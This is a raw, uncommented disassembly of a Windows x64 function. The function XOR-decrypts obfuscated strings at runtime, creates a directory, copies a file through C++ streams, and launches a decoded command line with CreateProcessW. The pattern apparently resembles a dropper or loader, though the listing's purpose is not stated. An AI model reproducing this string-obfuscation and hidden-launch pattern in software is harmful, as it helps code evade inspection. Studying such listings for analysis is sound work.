lea rcx, [0x14003ba30]
call fcn.14001e678
nop
lea rdx, [rbx + rdi]
cmp byte [rdx + 0x1e], 0
je 0x140018368
xor byte [rdx], 0x6b
xor byte [rdx + 1], 0x35
xor byte [rdx + 2], 0x31
xor byte [rdx + 3], 0xd5
xor byte [rdx + 4], 0x5d
xor byte [rdx + 5], 0x89
xor byte [rdx + 6], 0xe9
xor byte [rdx + 7], 0x5b
xor byte [rdx + 8], 0x6b
xor byte [rdx + 9], 0x35
xor byte [rdx + 0xa], 0x31
xor byte [rdx + 0xb], 0xd5
xor byte [rdx + 0xc], 0x5d
xor byte [rdx + 0xd], 0x89
xor byte [rdx + 0xe], 0xe9
xor byte [rdx + 0xf], 0x5b
xor byte [rdx + 0x10], 0x6b
xor byte [rdx + 0x11], 0x35
xor byte [rdx + 0x12], 0x31
xor byte [rdx + 0x13], 0xd5
xor byte [rdx + 0x14], 0x5d
xor byte [rdx + 0x15], 0x89
xor byte [rdx + 0x16], 0xe9
xor byte [rdx + 0x17], 0x5b
xor byte [rdx + 0x18], 0x6b
xor byte [rdx + 0x19], 0x35
xor byte [rdx + 0x1a], 0x31
xor byte [rdx + 0x1b], 0xd5
xor byte [rdx + 0x1c], 0x5d
xor byte [rdx + 0x1d], 0x89
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140018390
lea rcx, [rbp + 0x270]
call fcn.140002e60
nop
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e710
mov rdi, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140018437
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call fcn.14001e560
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x50]
call fcn.14003a130
lea rdx, [rbp + 0x370]
cmp qword [rbp + 0x388], 0xf
cmova rdx, qword [rbp + 0x370]
lea rcx, [rbp - 0x50]
call fcn.14001a440
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc0]
call fcn.14003a130
mov r8d, 0x20
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0xc0]
call fcn.140019e40
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x40], 6
jne 0x1400184f8
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xd0], 6
jne 0x1400184f8
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc0]
call fcn.14001a010
lea rcx, [rbp - 0x40]
call fcn.14001a8c0
mov ebx, 2
test rax, rax
jne 0x140018534
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx - 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x40]
and eax, 0x17
mov dword [rbp + rcx - 0x40], eax
and eax, dword [rbp + rcx - 0x3c]
jne 0x14001898b
lea rcx, [rbp + 0xc8]
call fcn.14001a8c0
test rax, rax
jne 0x14001857f
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0x108], 0
cmovne r15d, ebx
or r15d, dword [rbp + rcx + 0xd0]
and r15d, 0x17
mov dword [rbp + rcx + 0xd0], r15d
and r15d, dword [rbp + rcx + 0xd4]
jne 0x1400189dd
call fcn.140018ef0
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x1400185ef
lea rdx, [rax + 1]
mov r8, rsi
sub r8, rax
movabs r10, 0xd53df29ffdb7137
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x1400185b0
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], r13
mov r8, rsi
inc r8
cmp byte [r9 + r8], 0
jne 0x140018602
mov rdx, r9
lea rcx, [rsp + 0x78]
call fcn.140002e60
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x390]
lea rcx, [rbp + 0x2b0]
call fcn.14001adc0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x14001866f
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001866a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a33
call fcn.14001e560
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x2c0]
inc rcx
mov rax, rbx
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.14001e710
mov rbx, rax
lea r8, [rbp + 0x2b0]
cmp qword [rbp + 0x2c8], 0xf
cmova r8, qword [rbp + 0x2b0]
mov ecx, dword [rbp + 0x2c0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, esi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rbp - 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e560
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x1400187ce
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400187c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a39
call fcn.14001e560
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rsi
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xbc], edx
lea rcx, [rbp + 0xc8]
call fcn.140019d90
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rbx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xbc], edx
mov qword [rbp + 0x168], r14
lea rcx, [rbp + 0x168]
call fcn.14001dae4
nop
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], rdi
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x54], edx
lea rcx, [rbp - 0x40]
call fcn.140019d90
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x50], rax
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x54], edx
mov qword [rbp + 0x60], r14
lea rcx, [rbp + 0x60]
call fcn.14001dae4
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140017dca
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018901
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a3f
call fcn.14001e560
jmp 0x140017dca
call fcn.14002604c
nop
test al, 4
je 0x14001891e
lea rbx, str.ios_base::badbit_set
jmp 0x140018932
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x2b0]
call fcn.140001d20
lea rdx, [0x140063540]
lea rcx, [rbp + 0x2b0]
call fcn.1400204fc
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.1400013f0
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
test al, 4
je 0x140018998
lea rbx, str.ios_base::badbit_set
jmp 0x1400189ac
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140063540]
lea rcx, [rsp + 0x50]
call fcn.1400204fc
int3
test r15b, 4
je 0x1400189ec
lea rbx, str.ios_base::badbit_set
jmp 0x140018a02
test r15b, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001530
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.140001d20
lea rdx, [0x140063540]
lea rcx, [rsp + 0x50]
call fcn.1400204fc
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
nop
call fcn.14002604c
int3